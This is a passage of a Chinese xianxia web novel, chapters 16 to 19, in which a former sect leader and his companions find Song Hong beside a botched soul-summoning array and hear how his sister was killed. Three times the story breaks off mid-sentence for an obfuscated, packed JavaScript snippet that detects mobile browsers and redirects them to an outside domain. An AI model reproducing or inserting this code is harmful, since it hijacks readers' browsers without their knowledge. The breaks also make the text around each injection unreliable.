李箫箫笑得眉眼弯弯,天真又烂漫,完全不像是从那个阴暗潮湿的地宫内走出来的人物。 16. 第 16 章 小小的外间里溢满了晨光,明媚宁静,那些漂浮着的光线又轻又缓地移动着,散落在桌角、床榻和相互触碰的指尖。 孙雪华沉默地坐着,目光由那双柔情似水的眼,慢慢移到那沾着不知名香气的发梢,再到那颗熠熠生辉的宝珠,最终落在那柔软的、始终抓在自己手腕处的掌心。 李箫箫见此情景,便笑问:“孙掌门是不信我的说辞?” 孙雪华没有回答。 数月前,天降鬼水,邪灵为祸,临渊遭受重创,几乎被夷为平地,那时候,天若倾塌,雷雨如注,不得已,他便向听海崖借地宫宝珠一用,效仿女娲补天,堵住了那天崩似的大雨,这才为战胜邪灵搏得筹码。 归还宝珠之日,他亦是上香祭拜,以谢听海崖先贤济世之恩。 可是那日,听海崖门人分明告诉他,地宫内的宝珠为其开山鼻祖李见尘所有,而李见尘已故去百年,棺椁亦是埋入地宫之中。如今,又怎会出现于此? 孙雪华觉得李箫箫的话,不可全信,便道:“你是否为无晴门门主,我日后自有判断。” “是因为你的好友会替你再去一趟听海崖调查一番吗?”李箫箫笑意不减,手指一勾,一片梧桐叶迅速从里间书架上的某一册书页里飞出,落入他的掌心。 “吾友亲启。”李箫箫两指夹着那片梧桐叶做成的信笺,贴在唇边,“嗯,还留有一丝小雪的气息。” 孙雪华眼睫微颤,伸出手来,想要要回自己的信笺,李箫箫却忽地坐起身,那片梧桐叶便又滑入他宽大的衣袖中,不见了踪影。 “我记得小雪曾经说过,能打赢你的,应该都已经死了。”李见尘的指腹轻轻点按在孙雪华的颊侧,就像在故意试探这人的耐心一样,依旧顽劣地笑着,“不知道我算不算略胜你一筹?但是呢,我也不算活着,所以你的话也是对的。” 孙雪华静静地注视着他,没有制止他的动作,只道:“你的身份,我会自己查清。眼下最重要的是,找出幕后真凶,避免更多人受伤。” “小雪还真是大公无私。”李见尘蜷起手指,像是觉得无聊极了,又皱了皱眉头,孙雪华看着他,轻声道:“你既是知道我曾是临渊掌门,那么公事公办,自然也是身为掌门的责任。” “你就没有存着私心的时候?”李见尘很喜欢刨根问底,好像只要这么做,就可以扒开这人冷硬的外壳,摸到那悲天悯人的灵魂。 可是这次,孙雪华却不大愿意告诉他。 李见尘又问:“真的没有?我不信。你对和你亲近的同门,对你的好友都不曾有过私心?” “他们与我同心同德,全然地信任着我,支撑着我,我对他们的感情,从不是私心。” 孙雪华默然片刻,并没有回避对方那愈发不悦的目光,直言道,“若真要说起私心,让你躺我腿上,那便是了。” 李见尘心头一颤,目不转睛地盯着孙雪华,试图从对方脸上看出一丝不同寻常的表情。 可是并没有。 眼前之人依旧冷肃端庄,仿佛只是在向自己解释,什么是他定义下的“私心”,而不是真的动了情,起了念,掺杂各种复杂的感情。 李见尘有些失望。 “小雪真是个冷静的人啊。” 他喟叹,孙雪华不欲与他多做纠缠,就起身离了床榻,不料,对方也悄悄地跟了过来,隔着不远不近的距离,一句话都不说。 孙雪华由着他去了。 庭院之外,似乎并未受到昨夜的影响,巡逻的巡逻,洒扫的洒扫,那宴会场也在有条不紊地布置着。 孙雪华犹如一阵清风,避开了所有人的耳目,落到了那女子消失的地方。尹晓棠早早地蹲在墙角等他,见他来,忙上前,将手中剑袋双手奉上:“孙前辈。” 孙雪华客客气气地接过:“有劳尹姑娘费心了。” 尹晓棠嘴角上扬,摇了摇头:“不费心,我怕会出意外,就偷偷把我们的武器都带出来了。” 她稍稍背过身,将自己半旧的披风往上轻轻一提,露出那崭新的银弓雪箭,阳光下,锋利的羽箭芒如点星,大有破风穿云之势,而后她就又将披风拉下,一脸欣喜和认真。孙雪华颔首,以示肯定和赞许。 “那我们出发吧。”尹晓棠说着,这才注意到不远处的李见尘,迟疑了一下,指了指他,孙雪华只道:“不必担心。” “嗯。” 尹晓棠便没有多问,脚尖轻点,就踏着院墙翻了进去。她虽是拳脚功夫欠缺,但近两个月,有山庄前辈教了她些跑路的功夫,告诫她打不过就跑,不要没脑子地往前冲。 尹晓棠警记于心,因此她在孙雪华来之前,只是跟进到里屋的暗门外,便暂且撤退了。 “就是这里,那淡淡的血腥味就是从这里散发出来的。”尹晓棠的脚踩在一处地砖上,“这儿大概就是入口,但我怕打草惊蛇,没有提前进入。” “嗯,你的判断没错。”孙雪华可以感知到地砖之下的空间并不大,有血腥味,但是怨气不重,里头的东西能造成的伤害有限,但若是受了惊,闹出的动静恐怕不小。尹晓棠年纪小,还没到能自由控制手上力道的时候,此时选择按兵不动,确为上策。 “尹姑娘,劳烦你打开这里。” 孙雪华单手结印,已全然做好准备。 尹晓棠点点头,小心翼翼地掀开那处地砖。 孙雪华指尖凝气,一点灵光迅速钻入黑暗之中,形成一道隐蔽的结界。 孙雪华先跳了下去,尹晓棠紧随其后,李见尘不知道在想些什么,思量了一会儿,才慢悠悠地跟上。 地砖之下是一条窄而短的隧道,走上一小段路就能看到一间暗室。那暗室并不精细,像是被徒手挖出来的,四壁均是土坯,凹凸不平,只有四角各有一个巴掌大的空洞,用来插上粗糙的红蜡。 暗室中央躺了个人,像是睡着了在说梦话,又好像是昏了过去,神志不清地喃喃低语。 孙雪华的结界稳固,将他们的身形牢牢罩在其下,普通人根本发现不了。 孙雪华上前两步,点点灵光融入壁上烛光之中,最终将整个暗室彻底照亮。 他细看,那躺着的人约莫也是不惑之年了,可身量瘦小,不曾蓄须,面色亦是发白,看着尤为孱弱。 孙雪华回头看了眼李见尘,对方两手抱胸,懒洋洋地回答道:“我不认识他。” 孙雪华不言,再看向地上那人,对方身下似是一个画了个法阵,那不易觉察的血腥味就是从这个法阵里散发出来的。他轻轻捻了下手指,那灵光也随即靠近,只一眼,孙雪华就看出这是个招魂阵,可由于绘制之人学艺不精,将最重要的几笔全部画错,导致整个法阵几乎作废,毫无用处。而洒在上面的血,应不是人类的血液,而是来自于某些牲畜,且时日已久,早已沾满尘土,很多线条都已中断。 这样一个招魂阵,完全不可能将死去之人的魂魄召回。 孙雪华再次施术,重新激发那个招魂阵。断裂的线条再次拼接,画错的几笔也重新排序,灵阵结成,再发灵力。阵中躺着的那个人似是受了惊吓,立马醒了过来,可他并未发现孙雪华等人,只看见那个灵光大作的法阵,慌忙跪了下去,连连磕头。 周围的气息发生了些许微妙的变化。 那个消失的女子出现在了阴暗的角落中,却不在阵法之内。 孙雪华抬头看去,那女子仍是紧闭双目,双手自然下垂,静默而立。 孙雪华收了术法,地上的招魂阵犹如碎裂的镜子,线条彻底崩开,再也弥合不了。 “好差劲的法阵。”李见尘想着,有些想笑,他能看出孙雪华已经收住了大部分的力量,可那招魂阵实在是烂泥扶不上墙,这点外力都扛不住。 刚刚还在磕头的某人见此情景,当场就急了,双手捧起一抔土,神色涣散地喃喃着:“我的法阵,我的法阵呢?刚刚不是显灵了吗?不是显灵了吗?” 他不死心地在地上刨了两手,惹得满身尘埃,孙雪华悄悄解开结界,落到了那碎裂的法阵中央。 对方抬头,本就涣散的眼瞳此时更加找不到焦点,只看见面前模模糊糊有个人影,看不清面容,却能感觉到一股肃静之气,他哽咽起来:“是,是神仙显灵了?” 孙雪华低眉,跪着的那人一把扑过来,抱住他的腿:“神仙!神仙!您终于显灵了!求您大发慈悲,降下恩典,让宋家那群畜牲全部死无葬生之地!” 他簌簌泪流,出来的竟全是血水,想来是受了极重的内伤,时日无多。 孙雪华没有作答,只是伸手扶住他:“起来说话吧。” 可对方却不肯,仍是死死抱着他哭,哭得肝肠寸断,似要将心血全然呕尽:“神仙若是不答应,今日我便长跪不起!求您垂怜,求您垂怜!” 言罢,他又要磕头,李见尘勾起手指,施术将他从地上拽了起来,对方的眼睛早已经被血水糊住,驼着背,万分可怜的样子。李见尘固定住他的手脚,防止他又摔下去,而后才慢悠悠地问道:“孙掌门可以问话了。” 尹晓棠一惊,偏头看了他一眼,可李见尘压根儿没理她,依旧抱胸站着,兴致勃勃地瞧着孙雪华。 对方拂去了那人脸上的血水。 李见尘脸色一垮,又不高兴了。 孙雪华问道:“你叫什么名字,为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762374|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此?” “我叫宋鸿,就是这山庄之人。” 那人答道,又是一阵呜咽,孙雪华闻言,多问了一句:“姓宋?你和那宋庄主是什么关系?” “呵呵。”宋鸿咧了咧嘴,满嘴是血,看上去有些渗人,“没有关系,如果非要说的话,那就是我要他永世不得超生!” 孙雪华点点头:“地上的法阵是你画的吗?” “是。” “招魂阵?” “是。” “要招谁的魂?” “谁都行,有名有姓,无名无姓,只要是恶鬼厉鬼,能替我杀人的都行。”宋鸿说着,又流下两行血泪,孙雪华再问:“可曾成功?” “不曾。” “可有见过一女子?”孙雪华抬眸,看了眼那角落里站着的女子,她似乎仍未苏醒,一动不动。 “中等身量,偏瘦,柳叶眉,杏眼,嘴角有个很小的疤痕,应该是摔倒所致。” 孙雪华大致描述了一下那女子的样貌,宋鸿却愣了愣,有些不敢置信,可是他不敢撒谎,说道:“你说的那女子样貌,很像我阿姐,可我阿姐去世多年,万不可能再出现的。” 他喃喃着:“我画这招魂阵,不可能会将她带回尘世的。” “因为她早已魂飞魄散了,是吗?” 宋鸿心中苦涩难言,只一个劲儿地点头。 “魂飞魄散?”尹晓棠有些困惑,“就是说,站在我们面前的,不是一个鬼魂?” “对。”李见尘回答了她这个问题,“那女子非人非鬼,而是因物所化,是她未尽的尘缘在这世间的显影。” “通俗一点来讲,就是她的尘缘未了,但三魂七魄已过奈何桥,再无回头可能,生前久伴之物便生了灵气,代替她的样子,再往人间一趟。” 李见尘注视着孙雪华,“这一点,孙掌门应当比我更清楚。” 少年并未回应。 李见尘上前一步,又被对方的结界挡了下来,大抵是在告诫他不要轻举妄动。李见尘勾起嘴角,当真听话地站在了原地。 孙雪华轻声道:“你有任何苦楚,皆可告知于我。” “请您做主,杀了这江心洲上的所有人。”宋鸿大叫一声,“小人毕生心愿,便是要这山庄灰飞烟灭!” 他叫嚷着,终是没有忍住,嚎啕大哭起来。那女子逐渐有了反应,轻飘飘地化作一缕青烟,在他头顶盘旋。 “这些尘缘,是无法进一步生出神识,进而转变为灵的,所以她全部的行动都只依靠本能,这些本能也许是原主生前的部分行为、习惯,又或者是部分的活动轨迹。” 李见尘观察着他们的一举一动,想了想,还是走了出来,问宋鸿:“你阿姐叫什么名字?” 对方摇了摇头,根本说不出完整的句子,哭得狠了,又呕出一大块淤血来。孙雪华只得将他扶着坐下,替他顺了顺气,并递给他一颗悬命丹,让他先服下。头顶盘旋的青烟也再次化成人形,和宋鸿一样,跪坐在地。 这么一看,姐弟二人,确实有几分相像。 暗室内红蜡摇曳,昏黄的烛火映照着他们惨白的脸,尤为诡异。李见尘移步到孙雪华身侧,再问:“你为何要这江心洲上所有人的命?” 宋鸿眼睛又红又肿,根本睁不开,只眯开一条缝去看,可闻到对方身上的味道,他忽然神色一变,猛地朝人扑了过去:“我杀了你!我杀了你!” 孙雪华单手制住了他,李见尘眨眨眼,一脸无辜地贴着这个人:“孙掌门,你可见到了,我什么都没有做,他就叫嚷着要杀了我,好让人害怕。” “你身上的熏香,也是宋漪常年点着的!我岂会认错!就是你,就是你与她狼狈为奸,才害得我生不如死!”宋鸿嘶吼着,狠狠啐了一口血沫,喷到了李见尘脚边。 某人脸色一沉,十分不悦:“你再不闭嘴,我就把你的头割下来喂狗。” “要杀要剐,尽管冲着我来!今日我就是下地狱,也定要将你——”宋鸿挣扎着大叫,被孙雪华一掌劈中后颈,晕了过去。 李见尘见状,调笑着:“看来,神仙还是比较怜爱我……” 孙雪华又是一掌,灵气如刀,劈在了对面的墙上。 李见尘立刻噤了声。 孙雪华默然,抽出一张灵符,将那女子再次收入其中,然后扛起昏迷的宋鸿,将他带离了暗室。 好像是开玩笑开过头了。 李见尘感觉脖子那儿凉飕飕的,他摸了摸发梢,指腹放在鼻尖下轻轻嗅了嗅,孙雪华的气息和他本人一样冷冽,久久不散。 “唉。”李见尘轻声笑了起来,十分满意的模样。 17. 第 17 章 孙雪华扛着宋鸿回到地面,将他轻轻放在了床榻上,再摸了摸脉搏,浮大中空,亏耗极大,若是此刻再次施术勾出他的记忆,极有可能害他一命呜呼。 孙雪华默然,思量着下一步该怎么做,尹晓棠从暗室里爬上来,两三步走到他身边,附耳小声道:“孙前辈,我想起来一件事。” “何事?” “涛哥前几天给我看过这江心洲的布局图,这个宋鸿,就是庄上的小少爷,而宋漪,就是二小姐。失踪的那几个护卫,全是负责他们二人安全的。”尹晓棠顿了顿,不敢妄下定论,“您说,会不会是他们两个彼此不和,所以才——” 尹晓棠左右手对在一起,比划了两下,孙雪华明白她的意思,微微摇头:“目前来看,宋鸿没有这个能力杀人,他自身虚弱,且没有灵力,不会术法,驱使不了亡灵。” “嗯。”尹晓棠点点头,孙雪华吩咐道:“尹姑娘,我要再去一趟宋漪的住处,这边就请你多加照看,我速去速回。” “好。”尹晓棠满口答应,孙雪华便两步翻出窗外,如同一只轻盈的蝴蝶,避开外头的耳目,消失于视野中。 他走后,李见尘才晃悠悠地出来,尹晓棠看了他一眼,觉得自己和人也不熟,就没有说话,还是老老实实地守在昏迷的宋鸿身边。 李见尘瞧了她一眼,笑问:“五柳山庄的小姑娘?” 尹晓棠闻言,又看了看他,点头道:“是。” “你们明庄主是个好人,可惜我没这个机会去拜会他。”李见尘微微颔首,“告辞。” 尹晓棠一愣,对方就原地失去了踪影。 好奇怪的人。 尹晓棠思忖片刻,摇了摇头。 孙雪华回到宋漪住处。 那天夜里,宁展阳说这位二小姐受了惊吓,暂时回到镇上老宅居住,交谈中可知,这位二小姐应该十分受宠,和形容惨淡的宋鸿形成了鲜明的对比。 妒忌,确实有可能成为杀人的理由。 孙雪华悄悄进了那个书房。 那屋子布置简单,可陈设用具皆是佳品,很多细枝末节都能透露出设计之人的匠心独运,由此可见,宁展阳并无虚言。 孙雪华在屋子里搜索一番,目光落到了桌上那盏琉璃香炉上。成色样式都和李见尘屋里的很像,应是同一批烧制的。他上前,打开那炉顶,轻轻扇了扇手,一股浅淡的香味散发出来,近似于一种茶香,微苦微涩,提神醒脑。 但这熏香,和李见尘身上的味道,并无相似之处。 那宋鸿为什么会对他反应那么大呢? 孙雪华盖上炉顶,一回身,就见某人正笑眯眯地站在自己身后,问着:“找到线索了吗?” “目前还没有。”孙雪华坦然答道,李见尘故作惋惜,长叹一声:“那怎么办呢?我好像又坏了小雪的计划,小雪不会讨厌我吧?” 他又靠近一步,和人四目相对:“不要讨厌我好不好?我也是担心你,怕宋鸿对你不利。” 他说着,那发梢上的香味又轻轻地散开,落在孙雪华的眼睫。 很柔和,很细腻,与宋漪点过的熏香完全不一样。 孙雪华目不转睛地盯着这个人,面色不改地问道:“你可以伸出一只手吗?” “嗯?这有何不可?”李见尘莞尔,果真伸出左手,掌心向前,都快要摸到孙雪华的前襟,对方垂眸:“可能要冒犯你一下。” “小雪的请求怎么能是冒犯呢?” 李见尘还不知他要做什么,仍是笑盈盈的,可这话音刚落,孙雪华便抓住了他的手腕,将他的手背抵在唇边,鼻尖紧贴着那处肌肤。那温热的气息随着呼吸不断落在他的手背、掌心、乃至腕骨,激起一片酥麻。 孙雪华在轻嗅着他身上的味道。 还是那张不苟言笑的脸,那双冷肃镇静的眼,只有那若即若离的唇瓣是温热的、柔软的,使人为之颤栗。 李见尘不由地蜷起手指,眼底一片悸动,可孙雪华忽地松了他,说道:“确实不像。” “你是说我和宋漪吗?” “嗯。” 孙雪华还沉浸在自己的思绪里,李见尘便欺身上前,半边脸颊贴在对方眼尾处,哑声道:“说不定是小雪闻错了,再闻闻呢?” 孙雪华脸上闪过一丝疑惑,微微偏了偏头,可李见尘贴得太紧了,就好像要将他整个儿抱在怀里。孙雪华想了想,没有再避开,而是小心地闻了闻他的发梢。 一丝不易察觉的海盐味透了出来。 孙雪华一怔,这是听海崖地宫内的味道。 无晴门临海而建,终年难见天晴,因此得名。他前去归还宝珠时,那里就时时弥漫着一股潮湿的海水气息。 孙雪华不语,后退一步,再次看向李见尘,脸色深沉。可对方却十分高兴,连连问着:“闻到了吗?” “嗯。” “如何?” 孙雪华心情微妙,眼睫轻颤:“冒犯了。” 李见尘闻言,倒是十分满足,欢欢喜喜地说道:“说什么冒犯?孙掌门的事情便是我的事情,能帮上你的忙,是我的荣幸。” 孙雪华思绪万千,一时不知该从何说起。 听海崖无晴门,如今也已是强弩之末,只剩一守山人,独自守着那空无一人的宗门。孙雪华是知晓这件事的,所以李见尘第一次表明身份的时候,他没有全信,但这人身上的味道,又确实是听海崖独有。他涉世许久,都不曾见过别处有这种气息。 孙雪华的目光又落到那长箫上的宝珠,除却没有灵力,其他的,倒是真的很像。 不愿意承认,但又没有其他任何合理的解释。 “你,当真是无晴门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762375|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开山鼻祖,李见尘吗?” “如假包换。” “那为何在此,宝珠又为何丧失灵力?” “我之前就告诉过你了,我是被宋庄主请来的,只不过——”李见尘眉梢一扬,“我忘了说,这位庄主和庄上的二小姐,都曾是听海崖门下弟子。” 孙雪华一怔,当即反应过来:“所以根本没有所谓的世交,更没有李箫箫这个人,宁展阳所说的祖师爷,就是指的你,宋庄主请来的,就是听海崖的祖师。” “是这样。”李见尘勾起嘴角,一脸期待地看向这人,可孙雪华只是一瞬的沉默,连一点得知真相的错愕,甚至是被欺骗的愤怒都不曾显露。 李见尘撇撇嘴:“孙掌门怎么一点都不理人啊?” “宋鸿的姐姐之所以会一直跟着你,就是因为她闻到了你身上的气息,误认为你是宋漪。”孙雪华蹙眉,“不对,若是你身上有来自听海崖的气息,我应该——” “你应该那天夜里就闻出来了。”李见尘狡黠地笑着,“我知道,那天孙掌门悄悄闻了闻我的发梢。” 孙雪华不知为何,有些不愿看他,可这毕竟是事实,他不好否认,只能强装镇定地说道:“是,我确实没有闻出来。” “因为这气息只有我愿意的时候,才会散发出来。”李见尘沉吟片刻,“或者,当我要动用灵力时,才会显露一二。” “不过我最近灵力也不太稳定,所以这气息时有时无的。”李见尘笑笑,不知道这话是真是假。 孙雪华紧抿着唇,神色冷冽,像是要把他这虚伪的外壳扒开,看看里边到底装着些什么坏心思。 李见尘见状,话锋一转,不再和人开玩笑:“但话又说回来,我的确不知道宋鸿和宋漪之间有什么过节。宋庄主早在三十年前离开了听海崖,谁都不知道这中间发生过什么。” “当真不知?” “不知。” 孙雪华不语,李见尘一脸委屈:“我若是知道,还能不告诉你?你想想我都帮过你多少回了,我的宝珠都借你用了,还能害你不成?” 孙雪华闻言,想起这宝珠确实曾助他力挽狂澜,如此,他便无法理直气壮地怀疑李见尘的行为动机。 少年沉默着,抽出那张灵符,将那点尘缘放了初来。 青烟袅袅,盘旋不散,但始终不成人形。 “她没有记忆,也没有神识,但她一定会停留在,与她关系最为紧密的地方。” 孙雪华说着,就见那点青烟绕过香炉、书架、空荡的兰锜和上头系着的一根陈旧的剑穗。 “宋漪也练剑,是吗?” “是,但据我所知,她剑术并不高明。” 孙雪华见那缕青烟始终盘桓不去,便将那根剑穗解下,收入囊中。 就在此时,尹晓棠传音于他,告诉他宋鸿醒了。 18. 第 18 章 醒来的宋鸿貌似还未回神,只茫然地躺着,时不时囫囵两句,尹晓棠根本听不清他在说什么,就去找水给他喝。可翻了一圈,只找到半壶馊掉的茶水。尹晓棠没办法,便又托孙雪华带点水来,而后她回到床边,又摸了摸宋鸿的脉搏,对方那双浑浊的眼珠忽地一转,死死盯着她。尹晓棠惊了一下,慢慢缩回手,举了起来:“我就是看看你。” 宋鸿不言,缓缓转过头,尹晓棠见状,又问:“你还好吗?我让孙前辈带点吃食给你了,他马上就到。” “你也是和宋漪一伙的?”宋鸿一说话,嗓子哑得像是在砂纸上打磨的钝刀,吐字都很不清晰,尹晓棠仔细听了一会儿,才能勉强听出他的意思:“不是我,我是新来的,在这个地方做护卫。” “新来的?哼。”宋鸿冷笑,“马上你们就要变成死人了,还不快跑?” “为什么会变成死人?” 宋鸿又不肯说了,闷闷地咳了几声,尹晓棠便将他扶着坐了起来,轻轻拍拍他的背,给他顺了顺气。宋鸿斜睨了她一眼,道:“你心肠不坏,所以你赶紧跑吧,趁着宴席尚未开场。” “不行呢,我是受邀来这儿做护卫的,不能丢下我的同门。”尹晓棠一边说话,一边观察着宋鸿的脸色,她觉得这人可怜,也不像是个大奸大恶之人,好好说道说道,也许事情还有转圜。 “你说的宋漪我也不认得,我并不想伤害你。” 尹晓棠说着,见他不咳嗽了,就又扶着他躺下,手上戴着的玉韘不小心硌到了这人微微突起的肩胛骨,宋鸿猛地一震,问她:“你手上戴的什么?” “啊?”尹晓棠还没反应过来,看了看自己的手,便道,“这是我的玉韘。” “只有练弓的人会戴这个。”宋鸿瞧着她,“谁请你来的?” “我同门。”尹晓棠犹豫了一下,还是告诉他,这个同门,叫金伯涛。 对方一愣,原本十分戒备的神色缓和下来,呢喃着:“金护卫是个好人。” “涛哥确实人不错。”尹晓棠虽然与金伯涛接触不多,但从前在五柳山庄的时候,如果她没有洒扫完庭院,金伯涛就会帮她一起干一会儿,到了冬天,还能坐在石阶上分同一袋花生。 “是啊,他是唯一一个拿我当人看的,好人。”宋鸿哽咽着,又流下两行血泪。尹晓棠忙给他擦了擦,可那血泪越擦越多,很快就沾湿了她的衣袖。宋鸿颤颤巍巍推开她,哆嗦着下了地,两条腿都有点站不住,尹晓棠又扶了他一把,宋鸿这才勉勉强强走了几步。 他走到床尾,在床角的地砖缝隙里摸索许久,终于找到一个小布包,打开来,里面是一小缕头发。 “这是我阿姐的头发。”宋鸿小声道,“金护卫告诉我,有了这头发,就可以通过招魂阵,将逝者亡灵再次召唤至人间。” “确实是有这样的术法,但你阿姐已经魂飞魄散,只凭一缕头发,是不可能再召唤她的。” “是啊,我已经知道了,怪我当时没有说清楚,骗了金护卫。” 宋鸿只记得金伯涛是个好人,不会肆意殴打羞辱他。 那是几年前,金伯涛刚来庄上做护卫,恰好分到了这边,他位卑言轻,自是万分小心,对谁都客客气气的,连宋鸿也不例外。那段时间,宋鸿难得吃饱穿暖,对他多有感激,但是又无法坦白心事,便旁敲侧击地问他一些志怪之事。金伯涛大概是看他手无缚鸡之力,便没有设防,将自己知晓的术法之类,全都告诉了他。 “金护卫说,招魂阵是一类大阵,普通人甚至是道行尚浅之人,都不建议用此阵法,可我没有听进去。”宋鸿轻轻摇了摇头,像是在自嘲,尹晓棠见状,又问:“暗室里那个法阵是你自己画的?” “对。我只听金护卫说过法阵的画法,但具体我不知道,所以一直都没有任何反应。” “那画阵的血从哪儿来的?” “巡夜的护卫会分一只大犬,金护卫也有一只,我偷偷把它弄死了。”宋鸿说到这个,又呜咽起来,“为了这事儿,金护卫还受了守卫长两鞭子,之后就被调离了这里,我就再也没见到他了。” “他一定恨我吧?” 尹晓棠听了,拍拍他的肩膀:“没事的,说不定他只是忙,没工夫过来,他现在是副守卫长了,应该,应该——” 小姑娘顿了顿,有点忘词了。 宋鸿哭得更大声了,嚎啕着:“我只是要他们死,我有什么错!他们害死我阿姐的时候,就该知道会有这么一天!” 尹晓棠忙捂住他的嘴:“好了好了,小声些,万一把外面的守卫招进来,我们就完了。” 宋鸿哭得浑身抽了起来,摇摇晃晃着要倒下去,尹晓棠只好再把他扶到床下,让他躺下。 宋鸿忽地抓住她的手,断断续续说道:“他们……会死的……会吗?” “为什么?为什么这么恨他们?他们又是谁?” “他们就是他们,是这里的所有人。”宋鸿有点喘不过气,但还是一个字一个字地讲述着他的故事。 大概是觉得尹晓棠可以信任,又或者,是料到自己时日无多,所以要将藏于心底的真相说出来。 “我和阿姐是一母所生,但母亲并不受宠,所以我和阿姐,自然也不受那个畜生待见。” 宋鸿说一句话,就喘一下,面色十分痛苦。 “我阿姐叫宋澜,比我大八岁,我们自小就相依为命,可她身体一直不好,经常要喝药。” 宋鸿每天都会收到仆人送来的汤药,说这是给阿姐治病的,让他每天按时喂药。 年少的宋鸿信以为真,日日如此,不敢怠慢。可宋澜的身体不仅没有好转起来,反而每况愈下,夜里边常常因为病痛而呻-吟着。 宋鸿非常不安,他害怕宋澜会死。 “宋庄主是不是有妻妾成群?”尹晓棠想起那张布局图上满布的红点,忍不住问道,宋鸿点点头:“是,有很多,但也有人早夭,具体我就不清楚了。宋漪是他的发妻林夫人所生,和我们姐弟两个,简直一个天上,一个地下。” 宋漪要年长宋鸿许多,看上去娴静温柔,但宋鸿极少接触到她,因为对方是被捧在心尖上的孩子,不是他们这样的野草可以随便见到的。 宋鸿当时太小了,理不清里面的门道,宋澜也只是告诫他,不要和这里的任何人深交。 “阿姐说,等她身体好一些,一定会带我逃离这里。”宋鸿一阵反胃,吐出一口淤血来,他趴在床边,大口大口喘着气,“可是,可是有一天,她告诉我她怀孕了,我甚至不知道那是谁的孩子。” 宋鸿至今都记得,他得知这个消息时,是多么的震惊。 “小鸿,不要告诉其他任何人,好吗?”宋澜轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762376|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻摸了摸弟弟的头,满脸幸福。 宋鸿觉得,那天是阿姐最幸福的时候。 可是,为什么?怎么会这样呢? 宋鸿不理解,他问阿姐,这到底是谁的孩子?可宋澜始终不肯告诉他,说等这个孩子生下来,孩子的父亲就会来接他们。 “你疯了,阿姐?你疯了!”年少的宋鸿大叫,“你到底在做什么?你的身体根本不能怀孕,不能把他生下来,这会要你的命的!” “不会的,不会的。”宋澜试图安抚他,可宋鸿满脸惨白,完全听不进去。 他们冷战了数日,最终以宋鸿的妥协告终。 至此以后,每每仆人来送药,宋鸿都会将那碗汤药偷偷倒掉,因为喝药会对胎儿不好。可奇怪的是,宋澜的身体却慢慢好了起来,甚至肉眼可见的,面色红润起来。 宋鸿便怀疑,说不定是那碗药有问题,说不定是有人要故意该死阿姐,说不定是—— 宋鸿不敢想,那碗药是他们的父亲送来的,虎毒不食子,怎么会有人做出这样歹毒的事情? 宋鸿坐在门槛上,害怕得捂紧了肚子。 他知道,一定会有东窗事发的一天。 他知道的,再过不久,阿姐月份大了,就瞒不住了。 可这江心洲,到处都有人巡逻,连外出的船只,都有人不断排查,他们逃不掉的。 宋鸿想不出办法,焦急地在院子里走来走去,可宋澜倒是一点都不害怕,她完完全全坠入了爱河,等待着在此溺毙。 宋鸿束手无策,便将母亲留下的唯一一对银镯子取了出来,买通了其中一个巡逻的护卫,得到了这江心洲的巡逻时间和路线。 “我研究了很久,决定带我阿姐逃离这里。”宋鸿呜咽着,他知道这次的冒险,只能成功,不能失败,但失败的可能,远比成功大得多。 “我想,最坏不过一死了之。”他头痛欲裂,手上愈发用力,尹晓棠被攥得有点疼了,但忍着没吭声,只听对方又道:“可是我没有想到,最后居然是宋漪拦下来了我们。” 那天,原本一切进行得很顺利,宋鸿甚至认为,这是天赐良机,是老天都在帮他们。 可是,他们在即将登船的时候,撞见了宋漪。 那个平日里温柔娴静,被每个人奉上高台的二小姐,柔声问他们:“这么晚了,你们是要去哪儿?” 宋鸿胆战心惊:“我们,我们散散步。” “散步?”宋漪扫了眼他们,轻轻地笑了笑,“澜妹身体不好,能出来散散步,也是好事。” 她让开一条路:“走吧。” 宋鸿见此,十分感激。 他知道,是个人都会看出他们的意图,可宋漪没有阻拦,没有为难。 谢谢二姐。 宋鸿动了动嘴唇,无声地表达着感谢,可宋漪仍是在笑,月色下,迷人之中,又透着些古怪。 宋鸿没有多想,带着宋澜往码头走,夜风吹拂,迎面吹来一股浅淡的香味。 是二姐身上的熏香。 微苦微涩,像回甘的茶叶。 宋鸿将阿姐送上船,再次回头看,宋漪还是站在岸边,含笑望着他们。 宋鸿颔首,想最后一次感谢她,就听见对方说道:“来人,杀了他们。” 语气温温柔柔的,仿佛是在逗弄小猫小狗。 19. 第 19 章 再后来的事情,宋鸿就记不太清楚了。 他只记得自己在混乱中被推下了水,不断挣扎着,直到那冰冷的江水灌满他的胸腔,直到呼吸即将停止的那一刻,他最后一次向着天空伸出了双手,而后他被一根麻绳捆住,捞了上去。 “咳咳咳咳……” 